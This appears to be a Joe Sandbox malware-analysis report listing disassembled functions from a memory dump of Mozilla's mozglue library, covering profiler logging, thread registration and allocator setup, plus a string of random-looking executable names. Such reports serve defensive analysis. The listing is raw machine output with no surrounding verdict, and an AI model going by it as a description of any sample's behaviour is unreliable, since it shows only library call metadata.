getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C974817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C97482D
__Init_thread_footer.LIBCMT ref: 6C97484A

Part of subcall function 6C99AB3F: EnterCriticalSection.KERNEL32(6C9EE370,?,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284), ref: 6C99AB49
Part of subcall function 6C99AB3F: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99AB7C

GetCurrentThreadId.KERNEL32 ref: 6C97485F
GetCurrentThreadId.KERNEL32 ref: 6C97487E
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97488B
free.MOZGLUE(?), ref: 6C97493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C974956
free.MOZGLUE(00000000), ref: 6C974960
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97499A

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

free.MOZGLUE(?), ref: 6C9749C6
free.MOZGLUE(?), ref: 6C9749E9

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C974812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9747FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C974A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C974828
[I %d/%d] profiler_shutdown, xrefs: 6C974A06

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 09d37059e9485f5cb939e8e5b31f392597fd25b1e481afc8c2643cc311605fa4
Instruction ID: cdc7aef73ddd365cbf35201616628232fc6466abfdfca2354ad483032cdcf679
Opcode Fuzzy Hash: 09d37059e9485f5cb939e8e5b31f392597fd25b1e481afc8c2643cc311605fa4
Instruction Fuzzy Hash: 45812471A06200CBEB64DF28D84875A3775BF6A31CF24062AD91697B43E731E944CFA6

Function 6C974470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C974730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9744B2,6C9EE21C,6C9EF7F8), ref: 6C97473E
Part of subcall function 6C974730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C97474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9744BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9744D2
InitOnceExecuteOnce.KERNEL32(6C9EF80C,6C96F240,?,?), ref: 6C97451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C97455C
LoadLibraryW.KERNEL32(?), ref: 6C974592
InitializeCriticalSection.KERNEL32(6C9EF770), ref: 6C9745A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9745AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9745BB
InitOnceExecuteOnce.KERNEL32(6C9EF818,6C96F240,?,?), ref: 6C974612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C974636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C974644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C97466D
VerSetConditionMask.NTDLL ref: 6C97469F
VerSetConditionMask.NTDLL ref: 6C9746AB
VerSetConditionMask.NTDLL ref: 6C9746B2
VerSetConditionMask.NTDLL ref: 6C9746B9
VerSetConditionMask.NTDLL ref: 6C9746C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9746CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9746F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9746FD

Strings

kernel32.dll, xrefs: 6C9744CD
user32.dll, xrefs: 6C974557, 6C97463F
l, xrefs: 6C974578
NativeNtBlockSet_Write, xrefs: 6C9746F7
WRusr.dll, xrefs: 6C9744B5

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: ba6186cc0a9d32f7075c6fe85e9289580dcd09be687a055cba043cad8f9f5b7a
Instruction ID: 6c8001da77f00616909d5cdb2e9b5e432c4615f53ee91d71125fcd12a1ee1bcb
Opcode Fuzzy Hash: ba6186cc0a9d32f7075c6fe85e9289580dcd09be687a055cba043cad8f9f5b7a
Instruction Fuzzy Hash: A16127B1609344EFEB218F61DC09B9577B8EFAE70CF248499E5049B642D771CA44CFA1

Function 6C9AE8B0 Relevance: 38.8, APIs: 19, Strings: 3, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C9AB9F1,?), ref: 6C9A7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C9ADCF5), ref: 6C9AE92D
GetCurrentThreadId.KERNEL32 ref: 6C9AEA4F
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEA5C
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEA80
GetCurrentThreadId.KERNEL32 ref: 6C9AEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C9ADCF5), ref: 6C9AEA92
GetCurrentThreadId.KERNEL32 ref: 6C9AEB11
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C9AEB3C
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEB5B

Part of subcall function 6C9A5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9AEB71), ref: 6C9A57AB

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C9AEBAC

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AEBC1
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000), ref: 6C9AEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C9AEBE5
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8,00000000), ref: 6C9AEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9AEC46
CloseHandle.KERNEL32(?), ref: 6C9AEC55
free.MOZGLUE(00000000), ref: 6C9AEC5C

Strings

CUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQ, xrefs: 6C9AEADC
[I %d/%d] profiler_start, xrefs: 6C9AEBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C9AEA9B

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: CUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQ$[I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-2049974646
Opcode ID: c9420bc0aa32cdd7b0d474505409d15a1a1c50cfc5fed2be34274c580b54314a
Instruction ID: 83e9bcd2a02299f8544257fea0ba4ff7711a0a8f837b4db0aecfba8a223d3c62
Opcode Fuzzy Hash: c9420bc0aa32cdd7b0d474505409d15a1a1c50cfc5fed2be34274c580b54314a
Instruction Fuzzy Hash: C1A137317043049FDB409FA8D848B6677B5FFFA308F24442AE91987B51EB31D816CBA5

Function 6C9AF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C9AF8F9

Part of subcall function 6C976390: GetCurrentThreadId.KERNEL32 ref: 6C9763D0
Part of subcall function 6C976390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9763DF
Part of subcall function 6C976390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C97640E

ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF93A
GetCurrentThreadId.KERNEL32 ref: 6C9AF98A
GetCurrentThreadId.KERNEL32 ref: 6C9AF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF716

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

Part of subcall function 6C96B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C96B5E0

GetCurrentThreadId.KERNEL32 ref: 6C9AF739
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF746
GetCurrentThreadId.KERNEL32 ref: 6C9AF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9E385B,00000002,?,?,?,?,?), ref: 6C9AF829
free.MOZGLUE(?,?,00000000,?), ref: 6C9AF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C9AF866
free.MOZGLUE(?), ref: 6C9AFA0C

Part of subcall function 6C975E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C975E8C
Part of subcall function 6C975E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975E9D
Part of subcall function 6C975E60: GetCurrentThreadId.KERNEL32 ref: 6C975EAB
Part of subcall function 6C975E60: GetCurrentThreadId.KERNEL32 ref: 6C975EB8
Part of subcall function 6C975E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975ECF
Part of subcall function 6C975E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C975F27
Part of subcall function 6C975E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C975F47
Part of subcall function 6C975E60: GetCurrentProcess.KERNEL32 ref: 6C975F53
Part of subcall function 6C975E60: GetCurrentThread.KERNEL32 ref: 6C975F5C
Part of subcall function 6C975E60: GetCurrentProcess.KERNEL32 ref: 6C975F66
Part of subcall function 6C975E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C975F7E

free.MOZGLUE(?), ref: 6C9AF9C5
free.MOZGLUE(?), ref: 6C9AF9DA

Strings

Thread , xrefs: 6C9AF789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C9AF9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C9AF71F
" attempted to re-register as ", xrefs: 6C9AF858

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 82370fd8e5faea506a71c310208b6189c4858e29252bf5bea799bd2d42c8e4c6
Instruction ID: 716841f7cea8d822341d2fbb1abd3926652e4b4e4eaed9c9ae4b3decc65c3513
Opcode Fuzzy Hash: 82370fd8e5faea506a71c310208b6189c4858e29252bf5bea799bd2d42c8e4c6
Instruction Fuzzy Hash: D28104716043009FDB11DF64C840BAAB7B5FFE9308F55496DE8499BB51EB30D84ACBA2

Function 6C9AEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AEE60
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEE6D
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9AEEA5
CloseHandle.KERNEL32(?), ref: 6C9AEEB4
free.MOZGLUE(00000000), ref: 6C9AEEBB
GetCurrentThreadId.KERNEL32 ref: 6C9AEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AEECF

Part of subcall function 6C9ADE60: GetCurrentThreadId.KERNEL32 ref: 6C9ADE73
Part of subcall function 6C9ADE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C974A68), ref: 6C9ADE7B
Part of subcall function 6C9ADE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C974A68), ref: 6C9ADEB8
Part of subcall function 6C9ADE60: free.MOZGLUE(00000000,?,6C974A68), ref: 6C9ADEFE
Part of subcall function 6C9ADE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C9ADF38

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9AEF1E
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEF2B
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEF59
GetCurrentThreadId.KERNEL32 ref: 6C9AEFB0
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEFBD
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEFE1
GetCurrentThreadId.KERNEL32 ref: 6C9AEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF000

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C9AF02F

Part of subcall function 6C9AF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9AF09B
Part of subcall function 6C9AF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C9AF0AC
Part of subcall function 6C9AF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C9AF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C9AEED7
[I %d/%d] profiler_pause, xrefs: 6C9AF008

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: e0b5e06fa548aa66f4fe7a080d330313e7f5786b9f3c77c218a307b030f63438
Instruction ID: 9b5baf518c6750a9e02c39c71052de8548abc123fbef81af768700f4a1109351
Opcode Fuzzy Hash: e0b5e06fa548aa66f4fe7a080d330313e7f5786b9f3c77c218a307b030f63438
Instruction Fuzzy Hash: 3651C0316083109FDB416BA4E4087A53BB8EFBE21CF34056AE91583F40EB36C815C7E6

Function 6C99D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9EE804), ref: 6C99D047
GetSystemInfo.KERNEL32(?), ref: 6C99D093
__Init_thread_footer.LIBCMT ref: 6C99D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9EE810,00000040), ref: 6C99D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7B8,00001388), ref: 6C99D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE744,00001388), ref: 6C99D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE784,00001388), ref: 6C99D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7DC,00001388), ref: 6C99D1B1

Strings

<jemalloc>, xrefs: 6C99D268, 6C99D311
MALLOC_OPTIONS, xrefs: 6C99D0CB
Compile-time page size does not divide the runtime one., xrefs: 6C99D26D
MOZ_CRASH(), xrefs: 6C99D277
: (malloc) Unsupported character in malloc options: ', xrefs: 6C99D322

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: a27895742619cb028cfca6ccb5661c29c44cd89c2acce0ce9484d10a43fd0711
Instruction ID: b03fdd240988c593e7ca7b8a400660fa53ac528a8f5f3d39aaf2389828ef5093
Opcode Fuzzy Hash: a27895742619cb028cfca6ccb5661c29c44cd89c2acce0ce9484d10a43fd0711
Instruction Fuzzy Hash: 2881D272B08240DBEB549F69C984B6937B9FF7E708F280529E90197B80D772D845CBD2

Function 6C975E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975E9D

Part of subcall function 6C985B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9856EE,?,00000001), ref: 6C985B85
Part of subcall function 6C985B50: EnterCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985B90
Part of subcall function 6C985B50: LeaveCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985BD8
Part of subcall function 6C985B50: GetTickCount64.KERNEL32 ref: 6C985BE4

GetCurrentThreadId.KERNEL32 ref: 6C975EAB
GetCurrentThreadId.KERNEL32 ref: 6C975EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C976017

Part of subcall function 6C964310: moz_xmalloc.MOZGLUE(00000010,?,6C9642D2), ref: 6C96436A
Part of subcall function 6C964310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9642D2), ref: 6C964387

moz_xmalloc.MOZGLUE(00000004), ref: 6C975F47
GetCurrentProcess.KERNEL32 ref: 6C975F53
GetCurrentThread.KERNEL32 ref: 6C975F5C
GetCurrentProcess.KERNEL32 ref: 6C975F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C975F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C975F27

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C975E8C

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C97605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C9760CC

Strings

GeckoMain, xrefs: 6C975ECE, 6C976015

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
